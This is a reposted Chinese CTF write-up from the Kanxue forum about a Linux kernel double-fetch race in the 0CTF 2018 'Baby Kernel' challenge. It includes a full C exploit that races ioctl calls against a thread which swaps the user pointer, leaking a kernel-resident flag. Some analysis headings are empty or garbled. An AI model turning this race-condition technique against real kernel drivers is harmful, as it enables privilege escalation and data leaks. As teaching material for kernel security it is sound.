其他
Linux Kernel Pwn_1_Double fetch
本文为看雪论优秀文章
看雪论坛作者ID:Ta1pax0s
date:2020-09-10 01:35:59
tags:Double fetch
categories:kernel
cover:
https://orangegzy.github.io/img/IMG_7050.PNG
什么是Double fetch
1. 首先,一个用户态线程准备好了数据(preparedata -> user data)
2. 然后通过syscall切入内核态
3. 内核第一次取用数据时进行了安全检查
4. 当检查通过数据后,第二次取用进行真正的使用
5. 问题就在于,如果我们在通过第一次检查之后,也就是在1st fetch与2nd fetch之间,hijack掉user data,那么就会导致内核拿到了错误的数据!在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升。
准备工作
➜ 2018 0CTF Finals Baby Kernel mkdir core
➜ 2018 0CTF Finals Baby Kernel cd core
➜ core mv ../core.cpio
➜ core cpio -idmv < core.cpio
查看开机自启动脚本
core/init
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
echo "flag{this_is_a_sample_flag}" > flag //可以看到这里有个flag文件
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod baby.ko
chmod 777 /dev/baby
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
查看baby.ko
__int64 init_module()
{
_fentry__();
misc_register(&baby);
return 0LL;
}
_chk_range_not_ok函数
__int64 v2; // rdx
¤t_task+0x1358
然后我们继续向下:
struct user_data{
char * my_flag;
int size;
}
漏洞点分析
exp
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
int Time=1000;
unsigned long long flag_addr; //真正的flag的位置
int finish=1;
struct usr_data{
char *flag;
size_t len;
};
void evil_thread_func(void *a){ //传进来的参数是usr_data的地址
printf("Evil thread trugger!\n");
struct usr_data *s = a;
while(finish==1){
s->flag = flag_addr; //改他!改他!
}
};
int main(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
char buf[201]={0};
char usr_flag[] = "flag{aasdascxcdadwdaw}";
struct usr_data usr_data;
usr_data.flag = usr_flag;
usr_data.len = 33;
int fd;
fd = open("/dev/baby",0); //打开对应设备
int ret;
ret = ioctl(fd,0x6666); //发送0x6666
system("dmesg | grep flag > /tmp/sir.txt"); //通过dmesg获取printk出来的内核态flag地址
int file_fd = open("/tmp/sir.txt",O_RDONLY);
int id = read(file_fd,buf,200);
close(file_fd);
char *addr;
addr = strstr(buf,"Your flag is at ");
if(!addr){
perror("error!");
return -1;
}
addr += 0x10;
flag_addr = strtoull(addr,addr+16,16); //16进制字符串转unsigned longlong,全局变量flag_addr中此时是真正的flag的地址
printf("[*]flag addr is : %p\n",flag_addr);
pthread_t evil_thread;
pthread_create(&evil_thread,NULL,evil_thread_func,&usr_data); //开一个恶意线程来修改usr data,不断的将user_flag所指向的用户态地址修改为flag的内核地址以制造竞争条件,从而使其通过驱动中的逐字节比较检查,输出flag内容
//Time=1000
for(int i=0;i<Time;i++){
ret = ioctl(fd,0x1337,&usr_data); //不断地去发0x1337进入第二个if
usr_data.flag=usr_flag; //保证usr.flag指向用户态的空间
}
finish=0; //到这里应该已经改完了
pthread_join(evil_thread,NULL);
close(fd);
printf("The flag in Kernel is :\n");
system("dmesg | grep flag");
return 0;
return 0;
}
番外:
关于__CFADD__宏
// carry flag of addition (x+y)
template<class T, class U> int8 __CFADD__(T x, U y)
{
int size = sizeof(T) > sizeof(U) ? sizeof(T) : sizeof(U);
if ( size == 1 )
return uint8(x) > uint8(x+y);
if ( size == 2 )
return uint16(x) > uint16(x+y);
if ( size == 4 )
return uint32(x) > uint32(x+y);
return uint64(x) > uint64(x+y);
}
参考
看雪ID:Ta1pax0s
https://bbs.pediy.com/user-home-876323.htm
*本文由看雪论坛 Ta1pax0s 原创,转载请注明来自看雪社区。
推荐文章++++
求分享
求点赞
求在看